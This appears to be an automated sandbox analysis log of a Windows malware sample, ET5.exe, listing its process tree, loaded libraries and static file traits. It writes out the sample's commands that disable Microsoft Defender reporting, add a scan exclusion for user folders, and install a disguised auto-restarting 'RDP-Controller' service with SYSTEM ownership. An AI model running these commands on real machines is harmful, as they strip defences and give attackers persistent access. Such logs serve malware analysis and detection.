Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: main.exe	String found in binary or memory: C:/msys64/mingw64/include/boost/asio/ip/impl/address_v6.ipp
Source: main.exe	String found in binary or memory: C:/msys64/mingw64/include/boost/asio/ip/impl/address_v4.ipp
Source: main.exe	String found in binary or memory: C:/msys64/mingw64/include/boost/asio/ip/impl/address.ipp
Source: ET5.exe	String found in binary or memory: gfx/loading.gif">
Source: ET5.exe	String found in binary or memory: /gfx/loading.gif
Source: ET5.exe	String found in binary or memory: gfx/loading.gif
Source: ET5.exe	String found in binary or memory: Execute via &Default browser/Launch default browser and execute application.

Source: unknown	Process created: C:\Users\user\Desktop\ET5.exe "C:\Users\user\Desktop\ET5.exe"
Source: unknown	Process created: C:\Users\user\Desktop\ET5.exe C:\Users\user\Desktop\ET5.exe
Source: C:\Users\user\Desktop\ET5.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /k "C:\Users\user\AppData\Local\Temp\9pfntcc6fev7dp9x4dc.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Set-MpPreference -MAPSReporting 0"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Add-MpPreference -ExclusionPath 'C:\Users\'"
Source: C:\Users\user\Desktop\ET5.exe	Process created: C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe "C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe"
Source: C:\Users\user\Desktop\ET5.exe	Process created: C:\Users\user\AppData\Local\Temp\hstmhco83f64lehv4q0wbzqj3o.exe "C:\Users\user\AppData\Local\Temp\hstmhco83f64lehv4q0wbzqj3o.exe"
Source: C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe	Process created: C:\Windows\System32\taskkill.exe taskkill.exe /F /FI "SERVICES eq RDP-Controller"
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe	Process created: C:\Windows\System32\sc.exe sc.exe stop RDP-Controller
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe	Process created: C:\Windows\System32\sc.exe sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe	Process created: C:\Windows\System32\sc.exe sc.exe failure RDP-Controller reset= 1 actions= restart/10000
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe	Process created: C:\Windows\System32\sc.exe sc.exe start RDP-Controller
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
Source: C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe	Process created: C:\Windows\System32\icacls.exe icacls.exe C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\ /setowner *S-1-5-18
Source: C:\Windows\System32\icacls.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe	Process created: C:\Windows\System32\icacls.exe icacls.exe C:\Users\Public /restore C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\npX5adYEH7eu.acl
Source: C:\Windows\System32\icacls.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\ET5.exe	Process created: C:\Users\user\Desktop\ET5.exe C:\Users\user\Desktop\ET5.exe	Jump to behavior
Source: C:\Users\user\Desktop\ET5.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /k "C:\Users\user\AppData\Local\Temp\9pfntcc6fev7dp9x4dc.bat"	Jump to behavior
Source: C:\Users\user\Desktop\ET5.exe	Process created: C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe "C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe"	Jump to behavior
Source: C:\Users\user\Desktop\ET5.exe	Process created: C:\Users\user\AppData\Local\Temp\hstmhco83f64lehv4q0wbzqj3o.exe "C:\Users\user\AppData\Local\Temp\hstmhco83f64lehv4q0wbzqj3o.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Set-MpPreference -MAPSReporting 0"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Add-MpPreference -ExclusionPath 'C:\Users\'"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe	Process created: C:\Windows\System32\taskkill.exe taskkill.exe /F /FI "SERVICES eq RDP-Controller"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe	Process created: C:\Windows\System32\sc.exe sc.exe stop RDP-Controller	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe	Process created: C:\Windows\System32\sc.exe sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe	Process created: C:\Windows\System32\sc.exe sc.exe failure RDP-Controller reset= 1 actions= restart/10000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe	Process created: C:\Windows\System32\sc.exe sc.exe start RDP-Controller	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe	Process created: C:\Windows\System32\icacls.exe icacls.exe C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\ /setowner *S-1-5-18	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe	Process created: C:\Windows\System32\icacls.exe icacls.exe C:\Users\Public /restore C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\npX5adYEH7eu.acl	Jump to behavior

Source: C:\Users\user\Desktop\ET5.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET5.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET5.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET5.exe	Section loaded: d3d9.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET5.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET5.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET5.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET5.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET5.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET5.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET5.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET5.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET5.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET5.exe	Section loaded: d3d9.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET5.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET5.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET5.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET5.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET5.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET5.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET5.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET5.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET5.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\hstmhco83f64lehv4q0wbzqj3o.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\hstmhco83f64lehv4q0wbzqj3o.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: apphelp.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: cryptbase.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: ntmarta.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: iphlpapi.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: winhttp.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: wsock32.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: mswsock.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: windows.storage.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: wldp.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: netapi32.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: userenv.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: netutils.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: samcli.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: libi2p.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: wsock32.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: mswsock.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: cryptsp.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: rsaenh.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\icacls.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\icacls.exe	Section loaded: ntmarta.dll

Source: C:\Users\user\AppData\Local\Temp\hstmhco83f64lehv4q0wbzqj3o.exe

File written: C:\Users\user\AppData\Local\Temp\wfpblk.ini

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: ET5.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: ET5.exe

Static file information: File size 17157120 > 1048576

Source: ET5.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0xc32a00
Source: ET5.exe	Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x1eb200

Source: ET5.exe

Static PE information: More than 200 imports for user32.dll

Source:	Binary string: RfxVmt.pdb source: j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, update.pkg.10.dr
Source:	Binary string: RfxVmt.pdbGCTL source: j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, update.pkg.10.dr

Source: rfxvmt.dll.22.dr

Static PE information: 0xE004CD23 [Sat Feb 5 03:04:03 2089 UTC]

Source: C:\Users\user\AppData\Local\Temp\hstmhco83f64lehv4q0wbzqj3o.exe

Code function: 11_2_00007FF70489FF1F GetModuleHandleW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,

11_2_00007FF70489FF1F

Source: ET5.exe	Static PE information: section name: .didata
Source: j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe.2.dr	Static PE information: section name: .xdata
Source: hstmhco83f64lehv4q0wbzqj3o.exe.2.dr	Static PE information: section name: .xdata
Source: main.exe.10.dr	Static PE information: section name: .xdata
Source: cnccli.dll.22.dr	Static PE information: section name: .xdata
Source: libi2p.dll.22.dr	Static PE information: section name: .xdata
Source: evtsrv.dll.22.dr	Static PE information: section name: .xdata
Source: termsrv32.dll.22.dr	Static PE information: section name: .xdata
Source: rdpctl.dll.22.dr	Static PE information: section name: .xdata
Source: samctl.dll.22.dr	Static PE information: section name: .xdata
Source: prgmgr.dll.22.dr	Static PE information: section name: .xdata
Source: dwlmgr.dll.22.dr	Static PE information: section name: .xdata
Source: rVtDGbMQ.22.dr	Static PE information: section name: .xdata
Source: gBXHuZY0.22.dr	Static PE information: section name: .xdata
Source: 3rVpJMV7.22.dr	Static PE information: section name: .xdata
Source: L0FsI2PI.22.dr	Static PE information: section name: .xdata
Source: y8J74cEH.22.dr	Static PE information: section name: .xdata
Source: rmcjgYnL.22.dr	Static PE information: section name: .xdata
